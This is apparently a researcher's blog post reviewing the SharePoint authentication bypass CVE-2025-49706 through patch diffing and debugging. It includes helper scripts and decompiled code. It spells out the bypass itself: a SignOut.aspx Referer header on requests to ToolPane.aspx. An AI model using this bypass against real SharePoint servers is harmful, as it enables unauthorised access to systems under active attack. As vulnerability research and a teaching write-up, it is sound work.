The 401 That Fooled Me - N-Day Review of CVE-2025-49706 in SharePoint
On May 16, 2025, Khoa Dinh (@_l0gg) of Viettel Cyber Security demonstrated a single-request chain from authentication bypass to remote code execution (RCE) in Microsoft SharePoint at Pwn2Own Berlin, chaining two vulnerabilities he discovered: CVE-2025-49706 and CVE-2025-49704.
Microsoft released a patch for the flaws on July 8, 2025. However, the fix was incomplete, and the bypass was later assigned CVE-2025-53771 and CVE-2025-53770.
With exploitation in the wild reported by multiple sources, including attribution to Chinese nation-state actors, the hype that followed sparked my curiosity, and I saw it as the perfect opportunity to explore SharePoint’s closed-source ASP.NET codebase.
For the full technical disclosure and exploit details, see Khoa’s original blog post: SharePoint ToolShell – One Request PreAuth RCE Chain.
Introduction
In the weeks following the disclosure, many public exploits began to surface, but most of them didn’t worked as intended. Among the credible reproductions was the work by Markus Wulftange of CODE WHITE GmbH, who shared a screenshot of his internal PoC demonstrating the chain with a clean 200 OK
response code. I assumed that if you saw a 200
, the exploit worked.
When I set up my own SharePoint target, I first tested the exploit against it to confirm it was vulnerable before diving in. I tried different public exploits, but none of them worked. I couldn’t pinpoint the reason and didn’t know whether to attribute it to a possible misconfiguration of my target or the exploits simply not working.
My indicators for success were process monitoring with Process Explorer and the HTTP response code returned by the server. I checked the process tree in Process Explorer to see if a child process was being spawned by w3wp.exe
, but in each case no child process appeared and I received a 401
.
That was until I found the Rapid7 exploit, which reliably reproduced the issue, but still returned a 401
.
This was the moment I realized that the vulnerable code was executing even though the server returned a 401
response. Understanding this completely changed the direction of my learning experience.
What started as a simple attempt to replicate a public exploit became a deep dive into patch diffing, debugging, and code review.
In this post, we will walk through the entire journey together: sharing resources and tips for setting up a SharePoint target, preparing a debugging environment, and walking step-by-step through debugging and code review. Khoa Dinh’s original blog post will also be mentioned for additional background, as it provides valuable insight from the researcher who discovered the vulnerabilities.
Setting Up Our Target
While there are many guides online on how to set up a SharePoint environment, there is a checklist made by Janggggg (@testanull) for all of the things you need to set up your SharePoint target, including an explanation of the Domain Controller, database, and SharePoint configuration.
Microsoft SharePoint setup guide.md
I found it pretty straightforward with that guide, but here are my tips for that.
- At any stage, take snapshots, it will be much easier to revert if you make a mistake along the way.
- Since snapshots are necessary for both the SharePoint server and the database, I prefer to put them on a single machine. This saves time, and since it’s just a lab environment, there’s no problem with that.
- Ensure that the Windows Firewall is not blocking traffic from your attacking machine.
- Disable the internet connection once you finish the sharepoint prerequisites installer to prevent SharePoint updates that could force you to start all over again.
- For the RCE part, it’s better to turn off Microsoft Defender so it doesn’t disrupt the payload.
Patch Diffing
What is patch diffing?
Patch diffing (in our context) is the process of comparing a vulnerable version of software with a patched (fixed) version to identify what changes were applied, aiming to uncover potential “blood trails.” The goal is to extract and review the modifications made to the code. By analyzing a patch, adversaries can understand the root cause of the bug, verify whether it was truly fixed, and assess the possibility of bypassing the fix. The ultimate purpose of patch diffing is to discover the underlying vulnerability itself and to craft and reproduce a working exploit.
Ideally, we always want to diff the version closest to the patch. The further apart the versions are, the more unrelated changes we’ll encounter, since a single patch often addressesnot only security vulnerabilities but also regular bug fixes. This can lead us down unnecessary rabbit holes. Luckily, that is not the case with this patch.
Diffing Our SharePoint Patches
We are going to decompile and diff the following Sharepoint KBs: KB5002729 (June 2025) and KB5002741 (July 8, 2025).
Luckily, Jang also made a blog post on that topic, where he shows how to modify the .NET decompilation tool ILSpy to reduce the number of false positives that appear as a result of the decompilation process of Sharepoint patches
A quick note of MS Sharepoint/.NET decompiling, patch diffing
For the patch2cs.py script from Jang’s blog post, I made some adjustments for my own convenience, mainly adding more verbosity and organizing the DLLs into nested directories. This helped me pinpoint the actual classes and methods more easily, but feel free to use whatever works best for you.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import os
import subprocess
import xml.etree.ElementTree as ET
# ==== CONFIGURATION ====
DLL_FOLDER = r"PATH\TO\Sharepoint Patch diff\July 8"
OUTPUT_FOLDER = r"PATH\TO\Sharepoint Patch diff\july_8_decompiled"
ILSPY_PATH = r"PATH\TO\ILSpy-9.1\ICSharpCode.ILSpyCmd\bin\Release\net8.0\ilspycmd.exe"
# ==== PREPARE OUTPUT FOLDER ====
os.makedirs(OUTPUT_FOLDER, exist_ok=True)
# ==== STAGE 1: Decompile all DLLs into shared output ====
dll_files = [
os.path.join(DLL_FOLDER, f)
for f in os.listdir(DLL_FOLDER)
if f.lower().endswith(".dll") and os.path.isfile(os.path.join(DLL_FOLDER, f))
]
print(f"[+] Found {len(dll_files)} DLLs to decompile.")
for dll in dll_files:
print(f"[>] Decompiling: {os.path.basename(dll)}")
try:
command = [
ILSPY_PATH,
'-p',
'--nested-directories',
'-o',
OUTPUT_FOLDER,
dll
]
subprocess.run(command, check=True, capture_output=True, text=True)
print(f"[+] Decompiled: {os.path.basename(dll)}")
except subprocess.CalledProcessError as e:
print(f"[-] Failed to decompile {dll}:")
print(e.stderr)
# ==== STAGE 2: Generate a single merged .csproj ====
print("[*] Generating merged .csproj...")
csproj_path = os.path.join(OUTPUT_FOLDER, "MergedProject.csproj")
cs_files = []
for root, _, files in os.walk(OUTPUT_FOLDER):
for file in files:
if file.endswith(".cs"):
rel_path = os.path.relpath(os.path.join(root, file), OUTPUT_FOLDER)
cs_files.append(rel_path.replace("\\", "/"))
project = ET.Element("Project", Sdk="Microsoft.NET.Sdk")
prop_group = ET.SubElement(project, "PropertyGroup")
ET.SubElement(prop_group, "TargetFramework").text = "net48"
ET.SubElement(prop_group, "AllowUnsafeBlocks").text = "true"
item_group = ET.SubElement(project, "ItemGroup")
for cs_file in sorted(set(cs_files)):
ET.SubElement(item_group, "Compile", Include=cs_file)
tree = ET.ElementTree(project)
tree.write(csproj_path, encoding="utf-8", xml_declaration=True)
print(f"[+] Merged project created at: {csproj_path}")
print("[✓] Done.")
Once all DLLs are decompiled into .cs files and organized in folders, we can use WinMerge to find the changed files. To filter out noise, make sure that Show Identical Items is unchecked and Show Different Items is checked.
After hiding the .csproj files, reviewing the results, and filtering out false positives, we are left with the following file.
Microsoft.Sharepoint.ApplicationRuntime.SPRequestModule.cs
Reviewing SPRequestModule.cs
These are the changes we see when opening Microsoft.SharePoint.ApplicationRuntime.SPRequestModule.cs
June 2025 version (KB5002729):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// Microsoft.Sharepoint.ApplicationRuntime.SPRequestModule.PostAuthenticateRequestHandler() KB5002729(June)
if (IsShareByLinkPage(context) ||
IsAnonymousVtiBinPage(context) ||
IsAnonymousDynamicRequest(context) ||
context.Request.Path.StartsWith(signoutPathRoot) ||
context.Request.Path.StartsWith(signoutPathPrevious) ||
context.Request.Path.StartsWith(signoutPathCurrent) ||
context.Request.Path.StartsWith(startPathRoot) ||
context.Request.Path.StartsWith(startPathPrevious) ||
context.Request.Path.StartsWith(startPathCurrent) ||
(uri != null &&
(SPUtility.StsCompareStrings(uri.AbsolutePath, signoutPathRoot) ||
SPUtility.StsCompareStrings(uri.AbsolutePath, signoutPathPrevious) ||
SPUtility.StsCompareStrings(uri.AbsolutePath, signoutPathCurrent))))
{
flag6 = false;
flag7 = true;
}
July 8 2025 version (KB5002741):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// Microsoft.Sharepoint.ApplicationRuntime.SPRequestModule.PostAuthenticateRequestHandler() KB5002741(July 8)
bool flag8 = uri != null &&
(SPUtility.StsCompareStrings(uri.AbsolutePath, signoutPathRoot) ||
SPUtility.StsCompareStrings(uri.AbsolutePath, signoutPathPrevious) ||
SPUtility.StsCompareStrings(uri.AbsolutePath, signoutPathCurrent));
if (IsShareByLinkPage(context) ||
IsAnonymousVtiBinPage(context) ||
IsAnonymousDynamicRequest(context) ||
context.Request.Path.StartsWith(signoutPathRoot) ||
context.Request.Path.StartsWith(signoutPathPrevious) ||
context.Request.Path.StartsWith(signoutPathCurrent) ||
context.Request.Path.StartsWith(startPathRoot) ||
context.Request.Path.StartsWith(startPathPrevious) ||
context.Request.Path.StartsWith(startPathCurrent) ||
flag8)
{
flag6 = false;
flag7 = true;
bool flag9 = !SPFarm.CheckFlag((ServerDebugFlags)53506);
bool flag10 = context.Request.Path.EndsWith("ToolPane.aspx", StringComparison.OrdinalIgnoreCase);
if (flag9 && flag8 && flag10)
{
flag6 = true;
flag7 = false;
ULS.SendTraceTag(
505264341u,
ULSCat.msoulscat_WSS_ClaimsAuthentication,
ULSTraceLevel.High,
"[SPRequestModule.PostAuthenticateRequestHandler] Risky bypass limited (Access Denied) - signout with ToolPane.aspx detected. request path: '{0}'.",
context.Request.Path
);
}
}
Let’s focus on this snippet from the July version.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// Microsoft.Sharepoint.ApplicationRuntime.SPRequestModule.PostAuthenticateRequestHandler() KB5002741(July 8)
bool flag10 = context.Request.Path.EndsWith("ToolPane.aspx", StringComparison.OrdinalIgnoreCase);
if (flag9 && flag8 && flag10)
{
flag6 = true;
flag7 = false;
ULS.SendTraceTag(
505264341u,
ULSCat.msoulscat_WSS_ClaimsAuthentication,
ULSTraceLevel.High,
"[SPRequestModule.PostAuthenticateRequestHandler] Risky bypass limited (Access Denied) - signout with ToolPane.aspx detected. Request path: '{0}'.",
context.Request.Path
);
}
In the previous version of June, there was the if (IsShareByLinkPage(context)
part of the code, which, if the checks were successful, flag6 would be set to false and flag7 would be set to true. However, in the July 8 version, an additional check has been added.
1
2
// Microsoft.Sharepoint.ApplicationRuntime.SPRequestModule.PostAuthenticateRequestHandler() KB5002741(July 8)
bool flag10 = context.Request.Path.EndsWith("ToolPane.aspx", StringComparison.OrdinalIgnoreCase);
It ensures that the request path ends with ToolPane.aspx
, and if it doesn’t, flag10
will be set to false. Then, if flag9 && flag8 && flag10
are all set to true, it will revert the previous values of flag6
and flag7
.
1
2
3
4
5
6
7
// Microsoft.Sharepoint.ApplicationRuntime.SPRequestModule.PostAuthenticateRequestHandler() KB5002741(July 8)
bool flag10 = context.Request.Path.EndsWith("ToolPane.aspx", StringComparison.OrdinalIgnoreCase);
if (flag9 && flag8 && flag10)
{
flag6 = true;
flag7 = false;
The developers from Microsoft may have also disclosed some information through the logging they added.
1
2
// Microsoft.Sharepoint.ApplicationRuntime.SPRequestModule.PostAuthenticateRequestHandler() KB5002741(July 8)
"[SPRequestModule.PostAuthenticateRequestHandler]Risky bypass limited (Access Denied) - signout with ToolPane.aspx detected. request path: '{0}'.",
Based on initial observations (without analyzing any code), we can reasonably assume the following:
- The authentication bypass is likely related to the ASPX page
ToolPane.aspx
. - The authentication bypass appears to involve the sign-out functionality.
Target Identification and Debugging
Identifying ToolPane.aspx
Our next step will be figuring out where the ToolPane.aspx
endpoint is located. To do so, we can run the following PowerShell command to search for its physical path on disk:
1
Get-ChildItem -Path "C:\Program Files\Common Files\microsoft shared\Web Server Extensions" -Recurse -Filter "ToolPane.aspx"
We identified this as the location of ToolPane.aspx
on disk.
Now that the physical path on disk is known, we need to determine its virtual path in IIS.
1
Get-WebVirtualDirectory | Where-Object { $_.physicalPath -like "*LAYOUTS*" } | Select-Object path, physicalPath
And the path is /_layouts/15
. In concatenation with ToolPane.aspx, the full path becomes /_layouts/15/ToolPane.aspx
.
We can now use our authenticated lab access to verify the existence of the route and the ToolPane.aspx
page.
We received a 200 OK
response along with page content, confirming that the ToolPane.aspx
route is accessible when authenticated.
Identifying Our Debugging Breakpoints
We already know where to set our breakpoint for the first file; however, we don’t yet know what handles the request to /_layouts/15/ToolPane.aspx
. To figure this out, since we have no prior knowledge of SharePoint’s naming conventions or codebase structure, we will grep our decompiled codebase to identify the target.
1
grep -ir "toolpane" | cut -d ":" -f1 |sort|uniq| grep -i toolpane
Our most promising hit is Microsoft.SharePoint.WebPartPages.ToolPane.cs
.
Now let’s try to access ToolPane.aspx
from a different unauthenticated machine.
We got a 401 Unauthorized
response. Let’s attach the debugger to see what is happening behind the scenes.
Setting Up Our Debugging Environment with dnSpyEx
We can download dnSpyEx from the releases page at
dnSpyEx v6.5.1 on GitHub.
Before we start debugging, there’s an important step. The DLLs we’re going to debug are compiled with optimizations, which makes stepping, locals, and watches unreliable. We need to disable JIT optimizations at runtime using two things:
- Per-assembly
.ini
file (same folder as the DLL):1 2 3
[.NET Framework Debugging Control] GenerateTrackingInfo=1 AllowOptimize=0
- Global environment variable: Disable precompiled (NGen) images so the CLR uses JITed code that respects the .ini settings:
1
[Environment]::SetEnvironmentVariable("COMPlus_ZapDisable","1","Machine")
Naming convention: if you want to disable optimizations for
Microsoft.SharePoint.dll
, createMicrosoft.SharePoint.ini
next to that DLL (same directory).
If we don’t disable optimizations, this is what we’ll see when trying to view locals during debugging: “Cannot obtain value of the local variable or argument because it is not available at this instruction pointer, possibly because it has been optimized away.”
We will use the following script to automate the process for all DLLs and to add the environment variable.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
Write-Host "Setting system-wide environment variables..." -ForegroundColor Green
$regPath = "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment"
Set-ItemProperty -Path $regPath -Name "COMPLUS_ZAPDISABLE" -Value "1" -Force
Set-ItemProperty -Path $regPath -Name "COMPLUS_ReadyToRun" -Value "0" -Force
$signature = @"
[DllImport("user32.dll", SetLastError=true)]
public static extern IntPtr SendMessageTimeout(IntPtr hWnd, int Msg, IntPtr wParam, string lParam,
int fuFlags, int uTimeout, out IntPtr lpdwResult);
"@
Add-Type -MemberDefinition $signature -Name 'WinAPI' -Namespace 'Env'
[Env.WinAPI]::SendMessageTimeout([IntPtr]0xffff, 0x1A, [IntPtr]0, "Environment", 0x2, 5000, [ref]([IntPtr]::Zero)) | Out-Null
Write-Host "Environment variables set for all users." -ForegroundColor Cyan
$targetDir = "C:\Windows\Microsoft.NET\assembly\GAC_MSIL"
$iniContent = @"
[.NET Framework Debugging Control]
GenerateTrackingInfo=1
AllowOptimize=0
"@
Write-Host "Creating .ini files for all DLLs in $targetDir..." -ForegroundColor Green
Get-ChildItem -Path $targetDir -Recurse -Filter *.dll | ForEach-Object {
$dll = $_
$iniPath = Join-Path $dll.DirectoryName "$($dll.BaseName).ini"
try {
$bytes = [System.Text.Encoding]::ASCII.GetBytes($iniContent)
[System.IO.File]::WriteAllBytes($iniPath, $bytes)
Write-Host "$iniPath created" -ForegroundColor Gray
} catch {
Write-Host "Failed for $($dll.FullName): $_" -ForegroundColor Red
}
}
Write-Host "`nDone. Reboot or restart services (e.g., IIS) to apply changes." -ForegroundColor Yellow
Then we will restart IIS with the following command:
1
iisreset
Now that we are set up, let’s start debugging with dnSpy.
I like to begin by removing all assemblies: simply select them all and click Delete.
We will then attach to the w3wp.exe
process.
Our SharePoint process won’t always appear in the list. If you don’t see it, simply visit your SharePoint site on the target machine in a browser, this will spin up the w3wp.exe worker process so you can attach to it.
Once the process is attached, we will load the DLLs from the Global Assembly Cache (GAC).
Then select all with CTRL + A
and click OK.
Exporting our decompiled code to Visual Studio
Before starting our debugging, I recommend exporting the decompiled code to Visual Studio for more convenient code review. As we are already running the Database + SharePoint and have the debugging set up, it is more comfortable to review the code on the host rather than directly on our target.
To do so, we will locate the Microsoft.SharePoint
assembly and expand.
Then we will click “Export to Project”.
We will choose our output folder, select the Visual Studio version, and click Export.
Debugging SPRequestModule.cs and ToolPane.cs
Now that the DLLs are loaded and the decompiled code has been exported to Visual Studio, we will start by setting breakpoints on our immediate suspect: Microsoft.SharePoint.ApplicationRuntime.SPRequestModule.cs
, specifically in the method PostAuthenticateRequestHandler
(the method that appeared in the patch diff). We will also set a class breakpoint on Microsoft.SharePoint.WebPartPages.ToolPane.cs
.
Setting Up a Breakpoint for PostAuthenticateRequestHandler
Setting Up a Breakpoint for the ToolPane.cs
Class
We will expand Microsoft.SharePoint.WebPartPages
.
And set up a class-level breakpoint.
Now that our breakpoint has been set, I’m going to send the previous GET
request once again while debugging.
The goal here is to see which code paths are hit, this helps us identify potential sources of the request flow and trace how they eventually reach the sinks.
We will send our request again
During our request, we hit the relevant condition in Microsoft.SharePoint.ApplicationRuntime.SPRequestModule.PostAuthenticateRequestHandler()
, which we had previously identified in the patch diff.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// Microsoft.Sharepoint.ApplicationRuntime.SPRequestModule.PostAuthenticateRequestHandler()
if (flag6)
{
Uri uri2 = null;
try
{
uri2 = context.Request.UrlReferrer;
}
catch (UriFormatException)
{
}
if (this.IsShareByLinkPage(context)
|| this.IsAnonymousVtiBinPage(context)
|| this.IsAnonymousDynamicRequest(context)
|| context.Request.Path.StartsWith(this.signoutPathRoot)
|| context.Request.Path.StartsWith(this.signoutPathPrevious)
|| context.Request.Path.StartsWith(this.signoutPathCurrent)
|| context.Request.Path.StartsWith(this.startPathRoot)
|| context.Request.Path.StartsWith(this.startPathPrevious)
|| context.Request.Path.StartsWith(this.startPathCurrent)
|| (uri2 != null && (
SPUtility.StsCompareStrings(uri2.AbsolutePath, this.signoutPathRoot)
|| SPUtility.StsCompareStrings(uri2.AbsolutePath, this.signoutPathPrevious)
|| SPUtility.StsCompareStrings(uri2.AbsolutePath, this.signoutPathCurrent))))
{
flag6 = false;
flag7 = true;
}
}
At this point in execution, the current values of flag6
and flag7
are:
When the condition is satisfied, flag6
is set to false and flag7
is set to true.
1
2
3
4
5
// Microsoft.Sharepoint.ApplicationRuntime.SPRequestModule.PostAuthenticateRequestHandler()
{
flag6 = false;
flag7 = true;
}
After continuing execution, the values of flag6 and flag7 did not change, confirming that the condition was not satisfied.
We then hit another part of the code that checks authentication status through System.Security.Principal.IIdentity.IsAuthenticated
Because IIdentity.IsAuthenticated
returned false, execution continued into the next else if branch.
That check involves flag7
. If flag7
is set to true, the entire condition will evaluate to false. This is the condition in simplified form:
flag7
is falsesettingsForContext
is not nullsettingsForContext.UseClaimsAuthentication
is truesettingsForContext.AllowAnonymous
is falseflag3
is true
When all of these conditions are satisfied, the request will result in a 401 Unauthorized
response from IIS.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// Microsoft.Sharepoint.ApplicationRuntime.SPRequestModule.PostAuthenticateRequestHandler()
else if (!flag7
&& settingsForContext != null
&& settingsForContext.UseClaimsAuthentication
&& !settingsForContext.AllowAnonymous)
{
if (flag3)
{
ULS.SendTraceTag(
1431306U,
ULSCat.msoulscat_WSS_ClaimsAuthentication,
ULSTraceLevel.Medium,
"Claims Windows Sign-In: Sending 401 for request '{0}' because the user is not authenticated and resource requires authentication.",
new object[] { SPAlternateUrl.ContextUri }
);
}
SPUtility.SendAccessDeniedHeader(new UnauthorizedAccessException());
}
Now that we partially understand some of the logic, let’s dive deeper into the checks and see how we can bypass them.
But first, instead of searching for each value in the Locals window, we will use dnSpy’s Watch feature, which will make our lives much easier.
We will add the variables we observed to our Watch.
And now lets predict what will happen next
Flag7
is set to falseSettingForContext
is not nullsettingsForContext.UseClaimsAuthentication
is set to truesettingsForContext.AllowAnonymous
is set to falseFlag3
is set to true
Once we hit Continue, we’ll get a 401
.
As predicted, we received a 401
.
By analyzing the previous code snippet, we can see the following:
Pay close attention to the uri2
condition, which represents the referrer (HttpContext.Request.UrlReferrer
). Because our GET request did not include a Referer header, the value of uri2
is null.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// Microsoft.Sharepoint.ApplicationRuntime.SPRequestModule.PostAuthenticateRequestHandler()
Uri uri2 = null;
try
{
uri2 = context.Request.UrlReferrer;
}
.........
|| (uri2 != null && (
SPUtility.StsCompareStrings(uri2.AbsolutePath, this.signoutPathRoot)
|| SPUtility.StsCompareStrings(uri2.AbsolutePath, this.signoutPathPrevious)
|| SPUtility.StsCompareStrings(uri2.AbsolutePath, this.signoutPathCurrent))))
{
flag6 = false;
flag7 = true;
}
}
In order for flag6
to be set to false and flag7
to be set to true, one of the following conditions must be met:
uri2.AbsolutePath
must equal one of the following values:
/_layouts/SignOut.aspx
/_layouts/14/SignOut.aspx
/_layouts/15/SignOut.aspx
Reproducing CVE-2025-49706
Bypassing Our First Check
Before attempting this, we need to verify whether we actually have control over the Referer header. While it may seem obvious that we do, there could be mechanisms under the hood that restrict or sanitize it. To confirm, we will start by sending a dummy Referer.
We can see that our Referer header is accepted as valid. The next step is to set the Referer to one of the values required by the if statement.
Sending the Referer with the SignOut path
Before continuing from the breakpoint, flag6
is set to true and flag7
is set to false.
After continuing, flag6
is set to false and flag7
is set to true.
We then visit this if-else line of code once again. This time, flag7
is set to true, meaning the condition will not be met.
We managed to pass the check without getting a 401
. We then hit the following condition.
The if statement will evaluate to false in this case, since we are accessing the /_layouts
route.
And for the first time, we hit the ToolPane.cs
class.
Now I partially understand the logging Microsoft added in the patch.
Mapping the Attack Surface
We got to ToolPane.cs
, with the request we have sent but got 401
at some point, now we need to map the attack surface of Microsoft.SharePoint.WebPartPages
To do so we will monitor the callstack and understand our reach until we get a 401 error.
Based on what we observed, our dead end is that we reached the method FormOnLoad()
in Microsoft.SharePoint.WebPartPages.WebPartPage
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
// Microsoft.Sharepoint.WebPartPages.WebPartPage.FormOnLoad()
private void FormOnLoad(object sender, EventArgs e)
{
if (HttpContext.Current != null)
{
SPWeb contextWeb = SPControl.GetContextWeb(HttpContext.Current);
if (contextWeb != null)
{
SPWebPartManager.RegisterOWSScript(this, this, contextWeb);
if (this.Page.Items["FormDigestRegistered"] == null)
{
string text = SPGlobal
.GetVTIRequestUrl(this.Context.Request, null)
.ToString();
SPStringCallback spstringCallback = new SPStringCallback();
contextWeb.Request.RenderFormDigest(text, spstringCallback);
SPPageContentManager.RegisterHiddenField(
this.Page,
"__REQUESTDIGEST",
this.ShouldStampRequestDigest
? SPHttpUtility.NoEncode(spstringCallback.StringResult)
: "noDigest"
);
FormDigest.RegisterDigestUpdateClientScriptBlockIfNeeded(this, this);
this.Page.Items["FormDigestRegistered"] = true;
}
if (VariantConfiguration.IsExpFeatureToggleEnabled(
SPContext.Current,
ExpFeatureId.WexClassicTeamSiteHomePageShowMobileAppBanner
) && SPContext.Current.IsWebWelcomePage)
{
MobileAppBanner.InjectMobileAppBanner(this.Page);
}
}
}
}
Which then called the method: Microsoft.SharePoint.Library.SPRequest.RenderFormDigest()
under the hood via SPControl
.
Which leads us to the following method, responsible for validating whether we are authenticated. If the check fails, it throws a 401 Unauthorized
response.
The following exception is thrown, and we become authenticated.
That’s the full call stack; no need to go through all of it.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
App_Web_toolpane.aspx.9c9699a8.ujwshhei.dll!ASP._layouts_15_toolpane_aspx._layouts_15_toolpane_aspx()
App_Web_toolpane.aspx.9c9699a8.ujwshhei.dll!ASP._layouts_15_toolpane_aspx.ProcessRequest(System.Web.HttpContext)
App_Web_toolpane.aspx.9c9699a8.ujwshhei.dll!ASP._layouts_15_toolpane_aspx.FrameworkInitialize()
App_Web_toolpane.aspx.9c9699a8.ujwshhei.dll!ASP._layouts_15_toolpane_aspx.__BuildControlSPWebPartManager()
Microsoft.SharePoint.WebPartPages.SPWebPartManager.SPWebPartManager()
Microsoft.SharePoint.WebPartPages.SPWebPartManager.SPWebPartManagerCore(Microsoft.SharePoint.SPWebPartCollectionInitialState)
Microsoft.SharePoint.WebPartPages.SPWebPartManager.CheckAndLogRuntimeFilterInitError()
Microsoft.SharePoint.WebPartPages.SPWebPartManager.CanPreLoadWebParts.get()
Microsoft.SharePoint.WebPartPages.SPWebPartManager.ThrowIfManagerIsInvalid()
Microsoft.SharePoint.WebPartPages.SPWebPartManager.InitializeScope()
Microsoft.SharePoint.WebPartPages.ToolPane.ToolPane()
Microsoft.SharePoint.WebPartPages.SPWebPartManager.OnInit(System.EventArgs)
Microsoft.SharePoint.WebPartPages.SPWebPartManager.OnInit(System.EventArgs)
Microsoft.SharePoint.WebPartPages.SPWebPartManager.IsStartPage()
Microsoft.SharePoint.WebPartPages.SPWebPartManager.CreatePersonalization()
Microsoft.SharePoint.WebPartPages.SPWebPartManager.Web.get()
Microsoft.SharePoint.WebPartPages.SPWebPartManager.Scope.get()
Microsoft.SharePoint.WebPartPages.SPWebPartManager.Register(Microsoft.SharePoint.WebPartPages.WebPartZone)
Microsoft.SharePoint.WebPartPages.SPWebPartManager.WebPartZones.get()
Microsoft.SharePoint.WebPartPages.SPWebPartManager.RegisterCore(System.Collections.ArrayList, System.Web.UI.Control)
Microsoft.SharePoint.WebPartPages.ToolPane.OnInit(System.EventArgs)
Microsoft.SharePoint.WebPartPages.SPWebPartManager.CreateDisplayModes()
Microsoft.SharePoint.WebPartPages.SPWebPartManager.GallerySearchDisplayMode.get()
Microsoft.SharePoint.WebPartPages.SPWebPartManager.ImportDisplayMode.get()
Microsoft.SharePoint.WebPartPages.SPWebPartManager.NavigationDisplayMode.get()
Microsoft.SharePoint.WebPartPages.SPWebPartManager.DownLevelWebPartMenuDisplayMode.get()
Microsoft.SharePoint.WebPartPages.SPWebPartManager.ToolPaneErrorDisplayMode.get()
Microsoft.SharePoint.WebPartPages.SPWebPartManager.ExtensibleViewDisplayMode.get()
Microsoft.SharePoint.WebPartPages.ToolPane.InDesignMode()
Microsoft.SharePoint.WebPartPages.ToolPane.SPWebPartManager.get()
Microsoft.SharePoint.WebPartPages.ToolPane.SPWebPartManager.get()
Microsoft.SharePoint.WebPartPages.SPWebPartManager.RegisterToolPane(Microsoft.SharePoint.WebPartPages.ToolPane)
Microsoft.SharePoint.WebPartPages.ToolPane.OnPageInit(object, System.EventArgs)
Microsoft.SharePoint.WebPartPages.SPWebPartManager.HasValidUrlParamView(System.Web.UI.Page, ref System.Web.UI.WebControls.WebParts.WebPartDisplayMode)
Microsoft.SharePoint.WebPartPages.SPWebPartManager.HasValidUrlDisplayModeParam(System.Web.UI.Page, ref System.Web.UI.WebControls.WebParts.WebPartDisplayMode)
Microsoft.SharePoint.WebPartPages.SPWebPartManager.GetChangedDisplayModeIfDesignViewFieldSet(System.Web.UI.Page, System.Web.UI.WebControls.WebParts.WebPartDisplayMode)
Microsoft.SharePoint.WebPartPages.ToolPane.AllowDisplayModeForPage(System.Web.UI.Page, System.Web.UI.WebControls.WebParts.WebPartDisplayMode)
Microsoft.SharePoint.WebPartPages.SPWebPartManager.OnPageInitComplete(object, System.EventArgs)
Microsoft.SharePoint.WebPartPages.SPWebPartManager.SetDisplayMode()
Microsoft.SharePoint.WebPartPages.SPWebPartManager.LoadWebParts()
Microsoft.SharePoint.WebPartPages.SPWebPartManager.CreateWebPartsFromRowSetData(bool)
Microsoft.SharePoint.WebPartPages.SPWebPartManager.ShouldValidateWebPartProperties.set(bool)
Microsoft.SharePoint.WebPartPages.SPWebPartManager.SetupExplicitStorageKey()
Microsoft.SharePoint.WebPartPages.SPWebPartManager.ExplicitStorageKey.get()
Microsoft.SharePoint.WebPartPages.SPWebPartManager.HasPersonalizedParts.get()
Microsoft.SharePoint.WebPartPages.SPWebPartManager.LoadConnectionsState()
Microsoft.SharePoint.WebPartPages.SPWebPartManager.SPWebPartConnections.get()
Microsoft.SharePoint.WebPartPages.SPWebPartManager.SupersetWebParts.get()
Microsoft.SharePoint.WebPartPages.SPWebPartManager.LimitedWebPartManager.get()
Microsoft.SharePoint.WebPartPages.SPWebPartManager.ThrowIfManagerIsInvalid()
Microsoft.SharePoint.WebPartPages.SPWebPartManager.PersonalizationMode.get()
Microsoft.SharePoint.WebPartPages.SPWebPartManager.ViewMode.get()
Microsoft.SharePoint.WebPartPages.SPWebPartManager.CustomizationMode.get()
Microsoft.SharePoint.WebPartPages.SPWebPartManager.InDesignMode.get()
Microsoft.SharePoint.WebPartPages.SPWebPartManager.IsContextCurrentValid.get()
Microsoft.SharePoint.WebPartPages.ToolPane.NeedLayoutCanvas.get()
Microsoft.SharePoint.WebPartPages.ToolPane.InCustomToolPane.get()
Microsoft.SharePoint.WebPartPages.SPWebPartManager.AuthorizationFilterRun.set(bool)
Microsoft.SharePoint.WebPartPages.SPWebPartManager.ShowToolPaneIfNecessary()
Microsoft.SharePoint.WebPartPages.SPWebPartManager.ExtensibleViewDisplayMode.get()
Microsoft.SharePoint.WebPartPages.ToolPane.CreateChildControlsInternal()
Microsoft.SharePoint.WebPartPages.ToolPane.CreateChildControls()
Microsoft.SharePoint.WebPartPages.ToolPane.InDesignMode()
Microsoft.SharePoint.WebPartPages.ToolPane.ResetToolPaneControls()
Microsoft.SharePoint.WebPartPages.ToolPane.ErrorText.set(string)
Microsoft.SharePoint.WebPartPages.ToolPane.SPWebPartManager.get()
Microsoft.SharePoint.WebPartPages.SPWebPartManager.ToolPaneErrorDisplayMode.get()
Microsoft.SharePoint.WebPartPages.ToolPane.OnErrorOccurred(Microsoft.SharePoint.WebPartPages.ToolPane.ErrorEventArgs)
Microsoft.SharePoint.WebPartPages.ToolPane.SetErrorDisplayModeIfRequired()
Microsoft.SharePoint.WebPartPages.ToolPane.SPWebPartManager.get()
